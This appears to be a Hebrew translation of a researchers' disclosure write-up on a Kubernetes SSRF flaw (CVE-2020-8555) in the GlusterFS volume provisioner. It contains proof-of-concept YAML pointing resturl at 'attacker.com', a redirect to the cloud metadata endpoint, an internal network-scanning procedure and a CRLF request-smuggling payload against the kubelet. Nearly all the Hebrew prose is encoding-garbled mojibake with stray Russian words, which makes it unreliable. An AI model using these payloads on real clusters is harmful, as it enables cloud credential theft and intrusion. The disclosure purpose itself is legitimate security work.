ืืขืจื. ืชืจืืื: ืืืืจื ืืืืืจ ืืื ืืืืจืื ืืคืืจืื ืขื ืืื ืื ืืฆืืืื ืืืืืช ืืช ืืคืืืขืืช
ืื ืื ืื ื
ืื ืื ื ืฉื ื ืืืงืจื ืืืืื ืฆืจืคืชืื ืฉืืืื ืืืฉืืชืฃ ืคืืืขืืช ื-Kubernetes. ืืฉืืืช ืฉืื ื ืื Brice Augras ืืืจืืกืืืฃ Hauquiert, ืืื ืืคืืืคืืจืืืช ืจืืืช ืฉื Bug Bounty ืื ืื ื ืืืืขืื ืืชืืจ Reeverzax ื-Hach ืืืชืืื:
-
ืืจืืก ืืืืจืืก -ืืืจืช Groupe Asten ; -
ืืจืืกืืืฃ ืืืืงืืืืืจ - ืืืจืืื Kubernetes ืืืืจืช ื ืืงืื.
ืื ืงืจื?
ืืืืจ ืื ืืื ืืืจื ืฉืื ื ืืฉืชืฃ ืืืฆื ืคืจืืืงื ืืืงืจ ืจืืื ืืคื ืืืคืชืืข ืืืจืคืชืงื ืืืจืืฉืช ืืืืชืจ ืืืืืื ืฉื ืฆืืืื ืืจืงืื (ืืคืืืช ืืขืช ืขืชื).
ืืคื ืฉืืชื ืืืืืื ืืืืข, ืืฆืืืื ืืืืื ืืฉ ืืื ืชืืื ืืช ืืืืืืช:
- ืื ืืืื ืขื ืคืืฆื ืืืืจื;
- ืื ืขืืืืื ืืฉืืืื ืืฉื ืื.
ืื ืื ื ืื ืืืฆืืื ืืืืืืื ืืืื: ืื ืื ื ืืืจื ืืื ื ืคืืฉืื ืืกืืคื ืฉืืืข ืืืขืืืจืื ืืืืืช ืืื ืฉืื ื ืืคืจืืฆื. ืืื ืืื ืืืืืืช ืืืื ืืกืชืืื ืืฆืืจื ืืืื ืืืฆืืช ืืืคื.
ืืชืืืื ืขืืื ื ืืืืคืืฉ ืืื ืืืื ืืืฉืชืชืคืืช
ืืฉืขื 11:XNUMX ืืฉืื ื ืืขืฉืืช ืืืงืจ ืืืืื ื ืืืฉืื ืืืงืื ืืืืงืจ, ืืจืืฆืื ืืืื ืืืชืืฆืืืช. ืื ืืื ืืืื ืืืืงืจ ืืื ืฉื ืชืงืื ื ืืชืืื ืืช MSRC Bug Bounty ืืืืขื ื ืื ืืฆืื ืืกืืื ืฉื ืืจืฉืืืช.
ืขืืจื ืืกืคืจ ืฉืืืขืืช/ืืืืฉืื, ืืืชืืฆืื ืืืืชื ืฆืคืืื ืฉืื ื ืืืืื ืืืื ืืชืืืืืื ืืืืืืื ืืืืชืจ ืืืืกืืืจืื ืฉื Azure Cloud Bug Bounty - ืื ืืกืฃ ืืื ืฉืงืืืื ื ื-Kubernetes!
ืืืชืืกืก ืขื ืคืจืืืงื ืืืืงืจ ืฉืื ื, ืืขืืช ืืืืืช ืืืืฆืจ ืฉื Kubernetes ืคืจืกืื
ืืขืช ืื ื ืจืืฆื ืืืคืืฅ ืืืืข ืขื ืืคืืืขืืช ืฉื ืืฆืื ืืื ืืืคืฉืจ. ืื ื ืืงืืืื ืฉืืชื ืืขืจืื ืืช ืืืืฆื ืืฉืชืฃ ืืช ืืคืจืืื ืืืื ืืื ืขื ืืืจืื ืืืจืื ืืงืืืืช infosec!
ืื ืื ื ืืกืืคืืจ ืฉืื ื...
ืึถืงืฉืึตืจ
ืืื ืืืืื ืืฆืืจื ืืืืื ืืืืชืจ ืื ืงืจื, ืืืื ื ืกืชืื ืชืืืื ืืืฆื Kubernetes ืขืืื ืืกืืืื ืื ืืืืช ืืขื ื.
ืืืฉืจ ืืชื ืืืืฆืจ ืืฉืืื Kubernetes ืืกืืืื ืืื, ืฉืืืช ืื ืืืื ืืื ืืืจื ืืื ืืืืจืืืช ืกืคืง ืืขื ื:
ืฉืืืช ืืืงืจื ืืืืงืืช ืืืืงืฃ ืฉื ืกืคืง ืืขื ื, ืืขืื ืฉืฆืืชื Kubernetes ืืืืงืืื ืืืืงืฃ ืฉื ืืืงืื
ืืืงืฆืื ืืื ืืืช ืฉื ื ืคืืื, ื ืขืฉื ืฉืืืืฉ ืืื ืื ืื ืืืชื ืืกืคืงื โโืืื ืืืช ืฉืืื ื-backend ืืืฆืื ื ืฉื ืืืกืื ืืืืฉืืืช ืืืชื ื-PVC (ืืขื ืช ื ืคื ืืชืืฉืืช, ืืืืืจ ืืงืฉื ืื ืคื).
ืืคืืื, ืืืืจ ืืฆืืจืช ื-PVC ืื ืงืฉืจ ื-StorageClass ืืืฉืืื K8s, ืคืขืืืืช ื ืืกืคืืช ืืกืคืง ืืช ืขืืฆืืช ืืงืื ืืฉืชืืืืช ืขื ืืื ืื ืื ื-kube/cloud controller (ืืฉื ืืืืืืง ืฉืื ืชืืื ืืืืืืจื). (ืืขืจื. ืชืจืืื: ืืืจ ืืชืื ื ืืืชืจ ืขื CCM ืืืืฆืขืืช ืืืืืื ืฉื ืืืืขืชื ืขืืืจ ืืืช ืืกืคืงืืืช ืืขื ื
ืืฉื ื ืืกืคืจ ืกืืืื ืฉื ืืกืคืงื โโื ืชืืืื ืขื ืืื Kubernetes: ืจืืื ืืืืืื ื
ืืืืงืจ ืฉืื ื, ืืชืืงืื ื ืืื ืื ืื ืืงืฆืืช ืื ืคื ืืคื ืืื, ืืืืืื ืืืื:
ืืงืฆืื ืืื ืืืช ืฉื ืืืฆืขื ืืืกืื ืืืืฆืขืืช ืืกืคืง ืืืืื ื ืฉื Kubernetes
ืืงืืฆืืจ, ืืืฉืจ Kubernetes ื ืคืจืกืช ืืกืืืื ืื ืืืืช, ืื ืื ืืืงืจ ืืื ืืืืจืืืช ืกืคืง ืืขื ื, ืื ืืงืฉืช ืืฆืืจืช ืื ืคื (ืืกืคืจ 3 ืืชืจืฉืื ืืืขืื) ืืืฆืืช ืืืจืฉืช ืืคื ืืืืช ืฉื ืกืคืง ืืขื ื. ืืืื ืืืืจืื ืืืฉ ืืขื ืืื ืื!
ืชืจืืืฉ ืคืจืืฆื
ืืกืขืืฃ ืื ื ืกืืืจ ืืืฆื ื ืืฆืื ื ืืช ืืจืืืช ืืขืืืื ืฉืืืืืจื ืืขืื ืื ืืืฉื ื ืืืฉืืืื ืืคื ืืืืื ืฉื ืกืคืง ืฉืืจืืชื ืืขื ื. ืื ืื ืืจืื ืื ืืื ืืชื ืืืื ืืืฆืข ืคืขืืืืช ืืกืืืืืช, ืืืื ืืฉืืช ืืืฉืืจืื ืคื ืืืืื ืื ืืกืืื ืฉื ืืจืฉืืืช.
ืื ืืคืืืฆืื ืคืฉืืื ืืืช (ืืืงืจื ืื, ืืืืฃ ืืงืฉืช ืฉืืจืืช ืืฆื) ืขืืจื ืืืจืื ืืกืืืืช ืืืงืื ืืชืื ืืฉืืืืืช ืฉื ืกืคืงื ืฉืืจืืช ืฉืื ืื ืชืืช K8s ืื ืืืืื.
ืืืืงืจ ืฉืื ื ืืชืืงืื ื ืืกืคืง GlusterFS. ืืืจืืช ืืขืืืื ืฉืจืฆืฃ ืืคืขืืืืช ืื ืืกืฃ ืืชืืืจ ืืืงืฉืจ ืื, Quobyte, StorageOS ื-ScaleIO ืจืืืฉืื ืืืืชื ืคืืืขืืช.
ืฉืืืืฉ ืืจืขื ืืื ืื ืื ืืงืฆืืช ื ืคื ืืื ืื
ืืืืื ื ืืชืื ืฉืืขืืจื ืืืกืื GlusterFS ืืงืื ืืืงืืจ ืฉื ืืืงืื ืฉื Golang ืื ืื ื resturl
ื ืืกืฃ /volumes
.
ืืืืื ื ืืืืคืืจ ืืื ืชืื ืื ืืกืฃ ืืื ืขื ืืื ืืืกืคื #
ืืคืจืืืจ resturl
. ืื ื ืชืฆืืจืช YAML ืืจืืฉืื ื ืฉืื ืืฉืชืืฉื ื ืืื ืืืืืง ืคืืืขืืช SSRF ืขืืืืจืช ืืืืฆื (ืชืืื ืืงืจืื ืขืื ืขื SSRF ืืฆื ืขืืืืจ ืื ืืฆื ืขืืืืจ, ืืืฉื,
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrf
ืืืืจ ืืื ืืฉืชืืฉื ื ืืืื ืืจื ืืื ืื ืื ืืจืืืง ืืช ืืฉืืื Kubernetes ืงืืืงืื. ืืืจื ืืื, ืกืคืงื ืขื ื (Azure, Google, AWS ืืื') ืืืคืฉืจืื ืื ืืืฉืื ืืืฉืืจืื ืืฉืืืืฉ ืืืื ืืฉืืจืืช ืืื.
ืืืืืช ืืื, ืืืืืชื ืืืฉืชืืฉ ืืงืืืฅ ื"ืืืืื" ืฉืื. Kube-controller-manager ืืืฆืข ืืช ืืงืฉืช ื-HTTP ืฉืืชืงืืื:
kubectl create -f sc-poc.yaml
ืืชืฉืืื ืื ืงืืืช ืืืื ืฉื ืืชืืงืฃ
ืืื ืงืฆืจ ืืืืจ ืืื, ืืฆืืื ื ืืงืื ืื ืชืืืืช HTTP ืืฉืจืช ืืืขื - ืืืืฆืขืืช ืืคืงืืืืช describe pvc
ืื get events
ื- kubectl. ืืืื: ืืจืืืืจ ืืจืืจืช ืืืืื ืืื ืฉื Kubernetes ืืื ืืคืืจื ืืื ืืืืืจืืช/ืืืืขืืช ืืฉืืืื ืฉืื...
ืื ื ืืืืื ืขื ืงืืฉืืจ ื https://www.google.fr
ืืืืืจ ืืคืจืืืจ resturl
:
kubectl describe pvc poc-ssrf
# ะธะปะธ ะถะต ะผะพะถะตัะต ะฒะพัะฟะพะปัะทะพะฒะฐัััั kubectl get events
ืืืืฉื ืื, ืืืืืื ื ืืฉืืืืชืืช ืืื ืคืืกื HTTP ืืื ืืืื ืืื ืืงืื ืืช ืืชืืื ืฉื ืืืฃ ืืชืืืื ืื ืงืื ืืืืืจื ืืื 201. ืืื, ืืืืื ื ืืขืจืื ืืืงืจ ื ืืกืฃ ืืืจืืื ื ืืช ืชืจืืืฉ ืืคืจืืฆื ืขื ืืืฉืืช ืืืฉืืช.
ืืืืืืืฆืื ืฉื ืืืืงืจ ืฉืื ื
- ืชืจืืืฉ ืืชืงืื ืืก' 1: ืฉืืืืฉ ืืืคื ืื 302 ืืฉืจืช ืืืฆืื ื ืืื ืืฉื ืืช ืืช ืฉืืืช ื-HTTP ืืื ืืกืคืง ืืจื ืืืืฉื ืืืชืจ ืืืืกืืฃ ื ืชืื ืื ืคื ืืืืื.
- ืชืจืืืฉ ืืชืงืื ืืก' 2: ืืืืืืฆืื ืฉื ืกืจืืงืช LAN ืืืืืื ืืฉืืืื ืคื ืืืืื.
- ืชืจืืืฉ ืืชืงืื ืืก' 3: ืฉืืืืฉ ื-HTTP CRLF + ืืืจืื ("ืืืจืืช ืืงืฉืืช") ืืื ืืืฆืืจ ืืงืฉืืช HTTP ืืืชืืืืช ืืืืืืจ ื ืชืื ืื ืฉืืืืฆื ืืืืื ื ื-kube-controller.
ืืคืจื ืืื ื
- ืืืืงืจ ืืฉืชืืฉ ื-Azure Kubernetes Service (AKS) ืขื Kubernetes ืืจืกื 1.12 ืืืืืจ ืฆืคืื ืืืจืืคื.
- ืืชืจืืืฉืื ืืืชืืืจืื ืืขืื ืืืฆืขื ืืืืืืจืืช ืืืืจืื ืืช ืฉื Kubernetes, ืืืขื ืืชืจืืืฉ ืืฉืืืฉื, ืืืืืื ืืื ืืื ืฆืจืื Kubernetes ืฉื ืื ื ืขื Golang ืืจืกื โค 1.12.
- ืฉืจืช ืืืฆืื ื ืฉื ืืชืืงืฃ -
https://attacker.com
.
ืชืจืืืฉ ืืชืงืื ืืก' 1: ืืคื ืืืช ืืงืฉืช HTTP POST ื-GET ืืงืืืช ื ืชืื ืื ืจืืืฉืื
ืืฉืืื ืืืงืืจืืช ืฉืืคืจื ืขื ืืื ืชืฆืืจืช ืืฉืจืช ืฉื ืืชืืงืฃ ืืืืืจ 302 HTTP Recodeืืื ืืืืืจ ืืงืฉืช POST ืืืงืฉืช GET (ืฉืื 4 ืืชืจืฉืื):
ืืงืฉื ืจืืฉืื ื (3) ืืืืขื ืืืืงืื GlusterFS (ืื ืื ืืืงืจ), ืืฉ ืกืื POST. ืขื ืืื ืืืฆืืข ืืฉืืืื ืืืืื ืืฆืืื ื ืืืคืื ืืืชื ื-GET:
- ืืชืืจ ืคืจืืืจ
resturl
ื StorageClass ืื ืืฆืืืhttp://attacker.com/redirect.php
. - ื ืงืืืช ืงืฆื
https://attacker.com/redirect.php
ืืืื ืขื ืงืื ืกืืืืก 302 HTTP ืขื ืืืชืจืช ืืืืงืื ืืืื:http://169.254.169.254
. ืื ืืืื ืืืืืช ืื ืืฉืื ืคื ืืื ืืืจ - ืืืงืจื ืื, ืืงืืฉืืจ ืืืคื ืื ืืืืฉ ืืฉืืฉ ืื ืืจืง ืืืืืื. - ืืจืืจืช ืืืื ืกืคืจืืืช net/http Golang ืืคื ื ืืช ืืืงืฉื ืืืืืจ ืืช ื-POST ื-GET ืขื ืงืื ืกืืืืก 302, ืืืชืืฆืื ืืื ืืงืฉืช HTTP GET ืืืฉืื ืืืขื.
ืืื ืืงืจืื ืืช ืืืฃ ืชืืืืช ื-HTTP ืืชื ืฆืจืื ืืขืฉืืช describe
ืืคืฅ PVC:
kubectl describe pvc xxx
ืื ื ืืืืื ืืชืืืืช HTTP ืืคืืจืื JSON ืฉืืฆืืื ื ืืงืื:
ืืืืืืืช ืฉื ืืคืืืขืืช ืฉื ืืฆืื ืืืืชื ืืื ืืืืืื ืืฉื ืื ืงืืืืช ืืืืืช:
- ืืืกืจ ืืืืืช ืืืื ืืก ืืืชืจืืช HTTP ืืืงืฉื ืืืืฆืืช.
- ืืืกืจ ืืืืืช ืืืฆืข ืืงืฉืช POST ืขื ืคืจืืืจืื ืืืืฃ (ืื ื ืื ืืืงืฉ ืืช ืขืจื ืืืคืชื ืืืืคืข etcd ืฉืคืืขื ืขื 2379 ืืฆืืื ืื โโื ืขืฉื ืฉืืืืฉ ื-HTTP ืื ืืืฆืคื).
- ืืืกืจ ืืืืืช ืืืืืจ ืืช ืชืืื ืืืฃ ืืชืืืื ืืืฉืจ ืงืื ืืกืืืืก ืืื 200 ืืืชืฉืืื ืื ืืื JSON Content-Type.
ืชืจืืืฉ ืืชืงืื ืืก' 2: ืกืจืืงืช ืืจืฉืช ืืืงืืืืช
ืฉืืืช SSRF ืืฆื ืขืืืืจืช ืื ืฉืืืฉื ืืืืจ ืืื ืืื ืืกืจืืง ืืช ืืจืฉืช ืืคื ืืืืช ืฉื ืกืคืง ืืขื ื ืืืกืงืจ ืฉืืจืืชื ืืืื ื ืฉืื ืื (ืืืคืข Metadata, Kubelet ืืื' ืืื') ืืืชืืกืก ืขื ืืชืืืืืช ืืงืจ kube.
ืจืืฉืืช, ื ืงืืขื ืืฆืืืืช ืืืืื ื ืืกืื ืืจืืืืช ืฉื ืจืืืื Kubernetes (8443, 10250, 10251 ืืื'), ืืืืืจ ืืื ืืืื ื ืฆืจืืืื ืืืคืื ืืช ืชืืืื ืืกืจืืงื ืืืืืืืื.
ืืฉืจืืื ื ืฉืฉืืืช ืกืจืืงืช ืืฉืืืื ืื ืืื ืืืื ืกืคืฆืืคืืช ืืืื ื ืชืืืืช ืืกืืจืงืื ืืืืื SSRF ืงืืืกืืื, ืืืืื ื ืืืฆืืจ ืขืืืืื ืืฉืื ื ืืกืงืจืืคื bash ืฉืืืคืื ืืช ืื ืืชืืืื ืืืืืืืื.
ืืืืืื, ืขื ืื ืช ืืกืจืืง ืืืืืจืืช ืืช ืืืืื 172.16.0.0/12 ืฉื ืืจืฉืช ืืคื ืืืืช, ืืืฉืงื ืืืงืืื 15 ืขืืืืื. ืืืื ื-IP ืื "ื ื ืืืจ ืืืืืื ืืืื ืืืื ืขืฉืื ืืืืืช ื ืชืื ืืฉืื ืื ืืืืื ื-IP ืฉื ืกืคืง ืืฉืืจืืช ืืกืคืฆืืคื ืฉืื.
ืืื ืืกืจืืง ืืชืืืช IP ืืืช ืืืฆืืื ืืืช, ืขืืื ืืืฆืข ืืช ืืคืขืืืืช ืืืืืช:
- ืืืง ืืช StorageClass ืืืืจืื ืฉื ืืืง;
- ืืืกืืจ ืืช ืชืืืขืช ื ืคื ืืชืืฉืืช ืืืืืืชืช ืืงืืืืช;
- ืฉื ื ืืช ืขืจืื ื- IP ืืืคืืจืืื ื
sc.yaml
; - ืฆืืจ StorageClass ืขื IP ืืืฆืืื ืืืฉืื;
- ืืืฆืืจ PVC ืืืฉ;
- ืืืืฅ ืชืืฆืืืช ืกืจืืงื ืืืืฆืขืืช describe ืขืืืจ PVC.
ืชืจืืืฉ ืืชืงืื ืืก' 3: ืืืจืงืช CRLF + ืืืจืืช HTTP ืืืจืกืืืช "ืืฉื ืืช" ืฉื ืืฉืืื Kubernetes
ืื ืื ืืกืฃ ืืื ืืกืคืง ืืฆืืข ืืืงืืืืช ืืจืกืืืช ืืฉื ืืช ืฉื ืืฉืืื K8s ะธ ื ืชื ืืื ืืืฉื ืืืืื ืื ืฉื kube-controller-manager, ืืืฉืคืขื ืืคืื ืืฉืืขืืชืืช ืขืื ืืืชืจ.
ืื ืืื ืืจืื ืืืชืจ ื ืื ืืชืืงืฃ ืืฉื ืืช ืืงืฉืืช HTTP ืฉื ืืขืื ืืงืื ืชืืืืช HTTP ืืืื ืืคื ืฉืืงืื ืืขืชื.
ืืื ืืืืฉื ืืช ืืชืจืืืฉ ืืืืจืื, ืืื ืฆืจืื ืืขืืื ืืชื ืืื ืืืืื:
- ืืืฉืชืืฉ ืืืืืช ืืืืืช ืืืฉื ืืืืื ื kube-controller-manager (ืืื, ืืืฉื, ื-Azure LogInsights).
- ืืฉืืื Kubernetes ืืืื ืืืฉืชืืฉ ืืืจืกื ืฉื Golang ื ืืืื ื-1.12.
ืคืจืกื ื ืกืืืื ืืงืืืืช ืฉืืื ืชืงืฉืืจืช ืืื ืืงืื GlusterFS Go ืืฉืจืช ืืขื ืืืืืฃ (ื ืื ืข ืืคืจืกืื ื-PoC ืืขืช ืขืชื).
ื ืืฆื
ืขื ืืื ืฉืืืื SSRF ืืฆื ืขืืืืจ ืฉืชืืืจ ืืขืื ะฒะผะตััะต ืขื ืื, ืืฆืืื ื ืืฉืืื ืืงืฉืืช ืืืขืื ื, ืืืื ืืืืคืช ืืืชืจืืช, ืฉืืืช HTTP, ืคืจืืืจืื ืื ืชืื ืื, ืฉืืืชื ืขืืื kube-controller-manager.
ืื ื ืืืืื ื"ืคืืชืืื" ืขืืื ืืคืจืืืจ resturl
StorageClass, ืืืืืฉืืช ืชืจืืืฉ ืืชืงืคื ืืืื:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn
ืืชืืฆืื ืืื ืืขืืช ืชืืืื ืื ืจืฆืืื, ืืืืขื ืืืืื ืืชืืขืืช ืืืืื ื ืืืงืจ. ืืืืืช ืืืืืืืืืช ืืืืคืขืืช ืืืจืืจืช ืืืื, ืืชืืื ืฉื ืืืืขืช ืชืืืืช ื-HTTP ื ืฉืืจ ืฉื ืื.
ืื ืืื ื"ืคืืชืืื" ืืืขืื ืืืืชืจ ืฉืื ื ืืืกืืจืช ืืืืืช ืืจืขืืื.
ืืืืฆืขืืช ืืืฉื ืื, ืืฆืืื ื ืืืฆืข ืืื ืืืืชืงืคืืช ืืืืืช ืขื ืืฉืืืืืช ืฉื ืกืคืงื k8s ืื ืืืืื ืฉืื ืื: ืืกืืื ืฉื ืืจืฉืืืช ืขื ืืืฉืืจืื ืขื ืืืคืขื ืืื ื ืชืื ืื, ืืืกืืจ DoS ืืืืฆืขืืช ืืงืฉืืช HTTP (ืื ืืืฆืคื ืืช) ืขื ืืืคืขื ืืืกืืจ etcd ืืื'.
ืชืืคืขืืช
ืืืฆืืจื ืืจืฉืืืช ืฉื Kubernetes ืื ืืืข ืืคืืืขืืช ื-SSRF ืฉืืืืื ื, ืืื ืืืจืื CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. ืื ื ืืงื ืืืฉืืื ืจืง ืืช ืืคืืืขืืช ืืงืฉืืจื ืืืืงืฃ Kubernetes, ืืงืืืจ ืืฉืืืืช (ืืงืืืจ ืฉืืืืช) ืื ืืชืืื ื ืืื ืืชืืื.
ืขื ืืืช, ืืขืจืืช ืืืฉืืืืช ืืืคืฉืจืืืช ืืืงืฉืจ ืฉื ืกืืืืช ืฉืืจืืช ืื ืืืืช (ืืื ืืื ืืืืง ืืืขื ืืื ืืืืชืจ ืืืืงืจ ืฉืื ื!) ืื ืืขื ืืืชื ื ืืกืืื ืืืืฉ ืืช ืืคืืืขืืช ืืืืจืื CVSS10/10 ืงืจืืื ืขืืืจ ืืคืืฆืื ืจืืื.
ืืืื ืืืืข ื ืืกืฃ ืฉืืขืืืจ ืื ืืืืื ืืช ืืฉืืงืืืื ืฉืื ื ืืขืช ืืขืจืืช ืืืฉืคืขืืช ืืคืืื ืฆืืืืืืช ืืกืืืืืช ืขื ื:
ืืืฉืจื
- ืืฆืข ืคืงืืืืช ืืจืืืง ืืืืฆืขืืช ืืืฉืืจืื ืคื ืืืืื ืฉื ืจืืฉื.
- ืฉืืืืจ ืืชืจืืืฉ ืืขืื ืืืืฆืขืืช ืฉืืืช IDOR (Insecure Direct Object Reference) ืขื ืืฉืืืื ืืืจืื ืฉื ืืฆืืื ืืจืฉืช ืืืงืืืืช.
ะะพะฝัะธะดะตะฝัะธะฐะปัะฝะพััั
- ืกืื ืืชืงืคื
ืชื ืืขื ืฆืืืืช ืืืืืช ืืื ืืื ืฉื ืืืฉืืจื ืขื ื (ืืืืืื, API ืฉื metadata). - ืืืกืืฃ ืืืืข ืขื ืืื ืกืจืืงืช ืืจืฉืช ืืืงืืืืช (ืงืืืขืช ืืจืกืช SSH, ืืจืกืช ืฉืจืช HTTP,...).
- ืืกืืฃ ืืืืข ืขื ืืืคืขืื ืืชืฉืชืืืช ืขื ืืื ืกืงืจ ืืืฉืงื API ืคื ืืืืื ืืืื ืืืฉืง API ืฉื ืืื ื ืชืื ืื (
http://169.254.169.254
, ...). - ืื ืืืช ื ืชืื ื ืืงืืืืช ืืืืฆืขืืช ืืืฉืืจื ืขื ื.
ืืืื ืืช
ืื ืชืจืืืฉื ืื ืืฆืื ืืงืฉืืจืื ืืืงืืืจื ืืชืงืคื ืขื ืืืฉืจื, ืืืื ืืฉืืฉ ืืคืขืืืืช ืืจืกื ืืืช ืืืืืืื ืืื ืฉืืืคืขื ืืืกืืจ ืืืืงืฃ ืืืงืื (ืื ืื ืืืจ) ืืื ื ืืืื ืื.
ืืืืืื ืฉืืืื ื ืืกืืืืช K8s ืื ืืืืช ืืืขืจืื ื ืืช ืืืฉืคืขื ืขื ืฉืืืืช, ืื ื ืืืืืื ืืืืืื ืชืจืืืฉืื ืจืืื ืฉืขืืืืื ืืืฉืคืืข ืขื ืืืืื ืืช. ืืืืืืืช ื ืืกืคืืช ืืืืืืช ืืฉืืชืช ืืกื ืื ืชืื ืื etcd ืื ืืืฆืืข ืงืจืืื ืงืจืืืืช ื-Kubernetes API.
ืฆืืจ ืืื
- 6 ืืืฆืืืจ 2019: ืืืืื ืขื ืคืืืขืืช ื-MSRC Bug Bounty.
- 3 ืืื ืืืจ 2020: ืฆื ืฉืืืฉื ืืืืืข โโืืืคืชืื Kubernetes ืฉืื ืื ื ืขืืืืื ืขื ืืขืืืช ืืืืื. ืืืืงืฉื ืืื ืืืชืืืืก ื-SSRF ืืื ืคืืืขืืช ืคื ืืืืช (ืืชืื ืืืืื). ืืืืจ ืืื ืกืืคืงื ื ืืื ืืืื ืขื ืคืจืืื ืืื ืืื ืขื ืืงืืจ ืืืขืื.
- 15 ืืื ืืืจ 2020: ืกืืคืงื ื ืืืืืช ืืื ืืื ืืืืืืื ืืืคืชืื Kubernetes ืืคื ืืงืฉืชื (ืืจื ืคืืืคืืจืืช HackerOne).
- 15 ืืื ืืืจ 2020: ืืคืชืื Kubernetes ืืืืืขื ืื ื ืฉืืืจืงืช SSRF + CRLF ืขืืืืจืช ืืืืฆื ืขืืืจ ืืืืืจืืช ืงืืืืืช ื ืืฉืืช ืืคืืืขืืช ืืชืื ืืืืื. ืืื ืืคืกืงื ื ืื ืชื ืืช ืืืืงืคืื ืฉื ืกืคืงื ืฉืืจืืช ืืืจืื: ืฆืืืช K8s ืืืคื ืืขืช ืืฉืืจืฉ.
- 15 ืืื ืืืจ 2020: ืชืืืื MSRC ืืชืงืื ืืจื HackerOne.
- 16 ืืื ืืืจ 2020: Kubernetes PSC (ืืขืืช ืืืืืช ืืืืฆืจ) ืืืืชื ืืช ืืคืืืขืืช ืืืืงืฉื ืืฉืืืจ ืืืชื ืืกืื ืขื ืืืฆืข ืืจืฅ ืืฉื ืืืกืคืจ ืืืืื ืฉื ืงืืจืื ืืช ืคืืื ืฆืืืืืื.
- 11 ืืคืืจืืืจ 2020: ืชืืืื VRP ืฉื Google ืืชืงืื.
- 4 ืืืจืฅ 2020: ืชืืืื Kubernetes ืืชืงืื ืืจื HackerOne.
- 15 ืืืจืฅ 2020: ืืืฉืืคื ืืฆืืืืจ ืฉืชืืื ื ื ืืืงืืจ ื ืืืชื ืขืงื ืืฆื ื-COVID-19.
- 1 ืืืื ื 2020: ืืฆืืจื ืืฉืืชืคืช ืฉื Kubernetes + Microsoft ืืืื ืืคืืืขืืช.
TL; DR
- ืฉืืชืื ืืืจื ืืืืืืื ืคืืฆื :)
- ืืืืื ื ืคืืืขืืช ืืชืื ืืืืื ื-Kubernetes, ืืืจืืช ืฉืื ืืืืชื ืื ื ืืืื ื ืืขืฉืืช ืืืช.
- ืืืฆืขื ื ื ืืชืื ื ืืกืฃ ืขื ืืฉืืืืืช ืฉื ืกืคืงื ืขื ื ืฉืื ืื ืืืฆืืื ื ืืืืืื ืืช ืื ืืง ืฉื ืืจื ืืืคืืืขืืช ืืื ืืงืื ืืื ืืกืื ืืืืืืื ื ืืกืคืื.
- ืชืืฆื ืืจืื ืคืจืืื ืืื ืืื ืืืืืจ ืื. ื ืฉืื ืืืืจ ืืืชื ืขืืืื (ืืืืืืจ:
@ReeverZax &@__hach_ ). - ืืชืืจืจ ืฉืื ืืื ื ืคืืจืืืืืช ืืืืืืืื ืืจืื ืืจืื ืืืชืจ ืืืฆืคืื.
ืชืืืืจ
-
Google group kubernetes-security-announce ; -
CVE-2020-8555 ; -
ืืืืืื ืืืืื ื ืืก' 30794 ; -
heketi/client/api/go-client/volume.go .
ื .ื ืืืืชืจืื
ืงืจื ืื ืืืืื ืฉืื ื:
- ยซ
ืฆืื ืืืืืื ืฉื Kubernetes ื ืคืชื ืจืฉืืืช "; - ยซ
ืืฆืืื ืืชืจืืื ื-Kubernetes ืขื ืืื ืืจืืืช ืืืื ืื "; - ยซ
33+ ืืื ืืืืื ืฉื Kubernetes ".
ืืงืืจ: www.habr.com